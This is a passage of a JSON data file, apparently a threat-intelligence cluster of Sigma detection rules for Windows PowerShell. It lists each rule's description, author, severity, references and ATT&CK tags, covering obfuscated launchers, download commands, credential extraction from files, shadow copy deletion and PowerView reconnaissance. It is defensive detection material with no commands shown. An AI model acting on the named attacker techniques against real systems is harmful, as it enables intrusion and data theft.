"2020/10/18", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_compress.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1", "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module" }, { "description": "Detects suspicious PowerShell download command", "meta": { "author": "Florian Roth", "creation_date": "2017/03/05", "falsepositive": [ "PowerShell scripts that download content from the Internet" ], "filename": "posh_pm_susp_download.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9", "value": "Suspicious PowerShell Download - PowerShell Module" }, { "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_stdin.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e", "value": "Invoke-Obfuscation Via Stdin - PowerShell Module" }, { "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_clip.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2", "value": "Invoke-Obfuscation CLIP+ Launcher - PowerShell Module" }, { "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (rule)", "creation_date": "2017/03/12", "falsepositive": [ "Very special / sneaky PowerShell scripts" ], "filename": "posh_pm_susp_invocation_generic.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bbb80e91-5746-4fbe-8898-122e2cafdbf4", "value": "Suspicious PowerShell Invocations - Generic - PowerShell Module" }, { "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", "meta": { "author": "Ensar Şamil, @sblmsrsn, OSCD Community", "creation_date": "2020/10/05", "falsepositive": [ "App-V clients" ], "filename": "posh_pm_syncappvpublishingserver_exe.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a", "value": "SyncAppvPublishingServer Bypass Powershell Restriction - PS Module" }, { "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_rundll.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4", "value": "Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module" }, { "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_var.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e", "value": "Invoke-Obfuscation VAR+ Launcher - PowerShell Module" }, { "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (rule), Jonhnathan Ribeiro", "creation_date": "2017/03/05", "falsepositive": [ "Unknown" ], "filename": "posh_pm_susp_invocation_specific.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090", "value": "Suspicious PowerShell Invocations - Specific - PowerShell Module" }, { "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", "meta": { "author": "frack113", "creation_date": "2022/02/21", "falsepositive": [ "Administrator PowerShell scripts" ], "filename": "posh_pm_susp_reset_computermachinepassword.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1", "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" ], "tags": [ "attack.initial_access", "attack.t1078" ] }, "uuid": "e3818659-5016-4811-a73c-dde4679169d2", "value": "Suspicious Computer Machine Password by PowerShell" }, { "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", "meta": { "author": "frack113", "creation_date": "2021/07/13", "falsepositive": [ "Unknown" ], "filename": "posh_pm_susp_athremotefxvgpudisablementcommand.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4", "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand - PowerShell Module" }, { "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Unknown" ], "filename": "posh_pm_susp_get_nettcpconnection.yml", "level": "low", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml" ], "tags": [ "attack.discovery", "attack.t1049" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1", "value": "Use Get-NetTCPConnection - PowerShell Module" }, { "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2019/10/08", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a", "value": "Invoke-Obfuscation Via Use Rundll32 - PowerShell Module" }, { "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "meta": { "author": "frack113", "creation_date": "2021/07/20", "falsepositive": [ "Unknown" ], "filename": "posh_pm_susp_zip_compress.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" ], "tags": [ "attack.collection", "attack.t1074.001" ] }, "related": [ { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb", "value": "Zip A Folder With PowerShell For Staging In Temp - PowerShell Module" }, { "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", "meta": { "author": "frack113", "creation_date": "2022/01/23", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_invoke_webrequest_useragent.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e", "value": "Change User Agents with WebRequest" }, { "description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation", "meta": { "author": "frack113", "creation_date": "2022/12/27", "falsepositive": [ "Unknown" ], "filename": "posh_ps_token_obfuscation.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_token_obfuscation.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.009" ] }, "related": [ { "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f3a98ce4-6164-4dd4-867c-4d83de7eca51", "value": "Powershell Token Obfuscation - Powershell" }, { "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", "meta": { "author": "frack113", "creation_date": "2022/01/12", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_gwmi.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", "https://attack.mitre.org/datasources/DS0005/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml" ], "tags": [ "attack.persistence", "attack.t1546" ] }, "related": [ { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0332a266-b584-47b4-933d-a00b103e1b37", "value": "Suspicious Get-WmiObject" }, { "description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs", "meta": { "author": "James Pemberton / @4A616D6573", "creation_date": "2019/10/24", "falsepositive": [ "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." ], "filename": "posh_ps_web_request_cmd_and_cmdlets.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request_cmd_and_cmdlets.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba", "value": "Usage Of Web Request Commands And Cmdlets - ScriptBlock" }, { "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2021/12/27", "falsepositive": [ "Unknown" ], "filename": "posh_ps_copy_item_system_directory.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" ], "tags": [ "attack.credential_access", "attack.t1556.002" ] }, "related": [ { "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd", "value": "Powershell Install a DLL in System Directory" }, { "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", "meta": { "author": "frack113", "creation_date": "2022/04/24", "falsepositive": [ "Unknown" ], "filename": "posh_ps_win32_product_install_msi.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "91109523-17f0-4248-a800-f81d9e7c081d", "value": "PowerShell WMI Win32_Product Install MSI" }, { "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_stdin.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation STDIN+ Launcher - Powershell" }, { "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", "meta": { "author": "frack113", "creation_date": "2022/01/06", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_remote_session_creation.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f", "value": "PowerShell Remote Session Creation" }, { "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", "meta": { "author": "frack113", "creation_date": "2021/12/19", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_extracting.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" ], "tags": [ "attack.credential_access", "attack.t1552.001" ] }, "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68", "value": "Extracting Information with PowerShell" }, { "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_win32_shadowcopy.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e", "value": "Delete Volume Shadow Copies via WMI with PowerShell - PS Script" }, { "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", "meta": { "author": "frack113, Tim Shelton (fp AWS)", "creation_date": "2021/10/20", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_windowstyle.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.003" ] }, "related": [ { "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c", "value": "Suspicious PowerShell WindowStyle Option" }, { "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "meta": { "author": "frack113, MatilJ", "creation_date": "2022/01/19", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_msxml_com.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "78aa1347-1517-4454-9982-b338d6df8343", "value": "Powershell MsXml COM Object" }, { "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", "meta": { "author": "frack113, Duc.Le-GTSC", "creation_date": "2021/08/03", "falsepositive": [ "Unknown" ], "filename": "posh_ps_detect_vm_env.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", "https://techgenix.com/malicious-powershell-scripts-evade-detection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" ], "tags": [ "attack.defense_evasion", "attack.t1497.001" ] }, "related": [ { "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3", "value": "Powershell Detect Virtualization Environment" }, { "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_compress.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07", "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell" }, { "description": "Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/09", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_alias_obfscuation.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_alias_obfscuation.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1027", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e8314f79-564d-4f79-bc13-fbc0bf2660d8", "value": "Potential PowerShell Obfuscation Using Character Join" }, { "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/05/18", "falsepositive": [ "Should not be any as administrators do not use this tool" ], "filename": "posh_ps_powerview_malicious_commandlets.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", "https://thedfirreport.com/2020/10/08/ryuks-return", "https://powersploit.readthedocs.io/en/stable/Recon/README", "https://adsecurity.org/?p=2277", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa", "value": "Malicious PowerView PowerShell Commandlets" }, { "description": "Detects creation of a local user via PowerShell", "meta": { "author": "@ROxPinTeddy", "creation_date": "2020/04/11", "falsepositive": [ "Legitimate user creation" ], "filename": "posh_ps_create_local_user.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.persistence", "attack.t1136.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61", "value": "PowerShell Create Local User" }, { "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/14", "falsepositive": [ "Unknown" ], "filename": "posh_ps_cl_invocation_lolscript.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/948061991012327424", "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4cd29327-685a-460e-9dac-c3ab96e549dc", "value": "Execution via CL_Invocation.ps1 - Powershell" }, { "description": "Detects the use of 